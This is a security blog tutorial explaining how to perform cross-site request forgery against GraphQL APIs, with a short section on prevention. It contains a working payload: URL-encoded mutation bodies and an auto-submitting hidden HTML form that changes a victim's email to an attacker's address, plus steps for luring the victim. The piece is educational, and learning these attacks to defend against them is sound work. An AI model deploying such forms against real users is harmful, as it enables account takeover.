How to Perform CSRF Attack in GraphQL

Medusa
5 min readJan 16, 2024

Table of contents:

  • What is a CSRF Attack?
  • The traditional CSRF Attack
  • Exploiting CSRF in GraphQL Endpoint
  • How CSRF occurs in GraphQL and Prevention
  • Conclusion

What is a CSRF Attack?

Cross-Site Request Forgery (CSRF) is a type of attack where an attacker tricks a user’s web browser into performing unwanted actions on a web application in which the user is authenticated. The attacker crafts a malicious request and convinces the user to unknowingly execute it, leading to unauthorized actions being performed on their behalf.

Steps for traditional CSRF Attack

Here are the steps involved in a CSRF attack:

  1. Attacker crafts a malicious webpage: The attacker creates a webpage that contains malicious code or a form to perform a specific action on the targeted web application.
  2. User visits the malicious webpage: The user unknowingly visits the attacker’s webpage, which could be disguised as a legitimate or enticing website.
  3. Malicious request is sent: The malicious webpage contains a request to perform an action on the targeted web application. This request could be in the form of a hidden form submission or an AJAX request.
  4. User’s browser sends the request: Since the user is already authenticated on the targeted web application, their browser automatically includes the necessary credentials to execute the request.
  5. Request is executed on the targeted web application: The targeted web application receives the malicious request and processes it, unaware that it was not initiated by the user directly.
  6. Unwanted action is performed: The targeted web application performs the action specified in the malicious request, which could be anything from changing account settings to making a financial transaction.

Exploiting CSRF in GraphQL Endpoint

A CSRF (Cross-Site Request Forgery) attack is a type of attack where an attacker tricks a user’s authenticated web browser into performing unauthorized actions on a web application using GraphQL API.

The exploitation is pretty much similar to the non-API application but we need to understand few things.

When performing the attack, we need to change the content type from application/json to application/x-www-form-urlencoded in a GraphQL API is because GraphQL, by default, uses application/json to send queries and mutations. However, application/json requests are considered secure against CSRF forgery as long as the content type is properly validated by the server, thanks to the same-origin policy enforced by modern browsers.

To perform a CSRF attack, we need to bypass this same-origin policy and trick the user’s authenticated browser into making unauthorized requests. By using application/x-www-form-urlencoded as the content type, we can exploit vulnerabilities in the GraphQL endpoint that accept such requests. These vulnerable request types, like GET requests or requests with x-www-form-urlencoded content type, can be initiated by a browser without the user's explicit consent, making users vulnerable to CSRF attacks.

By changing the content type to application/x-www-form-urlencoded, we can craft a malicious request and send it to the target GraphQL API endpoint, taking advantage of the user's authenticated session. The GraphQL API processes the request and executes unauthorized actions on behalf of the user, potentially granting control over the user's account or performing unauthorized actions within the application.

When a server receives a request with the Content-Type header set to application/x-www-form-urlencoded, it knows that the body of the request contains data encoded in this format. The server then parses the body to extract the key-value pairs. The process typically involves the following steps:

  1. Read the raw body: The server reads the raw body of the HTTP request.
  2. Parse key-value pairs: The server parses the raw body to identify and separate the key-value pairs. Each pair is typically separated by an ampersand (&).
  3. Decode URL encoding: For each key-value pair, the server decodes the URL-encoded values. This involves replacing %xx with the corresponding character and converting + back to space.
  4. Store or process data: The server can then store the decoded key-value pairs in a data structure or use the data as needed for processing the request.

For GraphQL, since it is in JSON format, we need to change the mutation body into application/x-www-form-urlencoded content type.

For example, if the original mutation operation looks like this:

mutation changeEmail {
changeEmail(input: { email: "hacker@hacker.com" }) {
email
}
}

We need to change it to this form, separating each key and value pair.

query=
mutation changeEmail($input: ChangeEmailInput!) {
changeEmail(input: $input) {
email
}
}
&operationName=changeEmail
&variables={"input":{"email":"hacker@hacker.com"}}
  • The query parameter contains the URL-encoded GraphQL mutation operation.
  • The operationName parameter specifies the name of the operation, which is "changeEmail" in this case.
  • The variables parameter provides input variables in JSON format.
  • URL encodes the final result.
query=%0A++++mutation+changeEmail%28%24input%3A+ChangeEmailInput%21%29+%7B%0A++++++++changeEmail%28input%3A+%24input%29+%7B%0A++++++++++++email%0A++++++++%7D%0A++++%7D%0A&operationName=changeEmail&variables=%7B%22input%22%3A%7B%22email%22%3A%22hacker%40hacker.com%22%7D%7D

If you are interested in learning different exploitation methods in GraphQL, check out my playlist. Also, don’t forget to subscribe to my channel where I post content on API Hacking!

Here are the steps involved in a CSRF attack on a GraphQL API:

  1. Identify the target GraphQL API endpoint.
  2. Find a mutation operation like changing email.
  3. Copy the mutation and modify it so that it is all in one line. For example, if the mutation is to change the email, the mutation query will look something like this:
  4. Once you have the mutation query like this. Put it in the form field like this:
<html>
<form action="<https://example.com/graphql/v1>" method="POST">
<input name="query" value="mutation changeEmail($input: ChangeEmailInput!){changeEmail(input: $input) {email}}" type="hidden" />
<input name="operationName" value="changeEmail" type="hidden" />
<input name="variables" value="{"input":{"email":"hacker@hacker.com"}}" type="hidden" />
</form>
<script>
document.forms[0].submit()
</script>
</html>

5. When you send a malicious URL to the victim and they click on it, the mutation will be automatically sent to change their email.

How CSRF occurs in GraphQL

  1. CSRF Vulnerabilities in GraphQL Endpoints:
  • CSRF vulnerabilities can arise in GraphQL endpoints when these endpoints do not properly validate the content type of incoming requests, and they lack CSRF tokens.

2. Content Type Validation for Security:

  • POST requests that use a content type of application/json are mentioned as being secure against CSRF forgery, as long as the content type is properly validated by the server. This is because modern browsers enforce the same-origin policy for requests with the application/json content type.

3. Security of GET Requests and Other Content Types:

  • On the other hand, alternative methods such as GET requests, or any request that has a content type of x-www-form-urlencoded, are susceptible to CSRF attacks. These types of requests can be initiated by a browser without the user's explicit consent, potentially leaving users vulnerable if the GraphQL endpoint accepts such requests.

4. Exploiting Vulnerabilities:

  • In scenarios where a GraphQL endpoint accepts vulnerable request types, attackers may craft malicious exploits to send requests to the API on behalf of unsuspecting users. This is possible if the user is authenticated on the targeted web application.

Conclusion

In conclusion, a CSRF (Cross-Site Request Forgery) attack is a serious security threat that can target both traditional web applications and GraphQL APIs. While traditional CSRF attacks exploit vulnerabilities in the same-origin policy, a CSRF attack in GraphQL specifically targets GraphQL APIs that accept vulnerable request types like GET requests or requests with x-www-form-urlencoded content type.

GraphQL developers must implement proper CSRF protection measures, such as validating the content type of incoming requests and implementing CSRF tokens, to prevent CSRF attacks and ensure the security of their GraphQL applications.

Thank you for Reading.

Twitter: medusa_0xf

--

--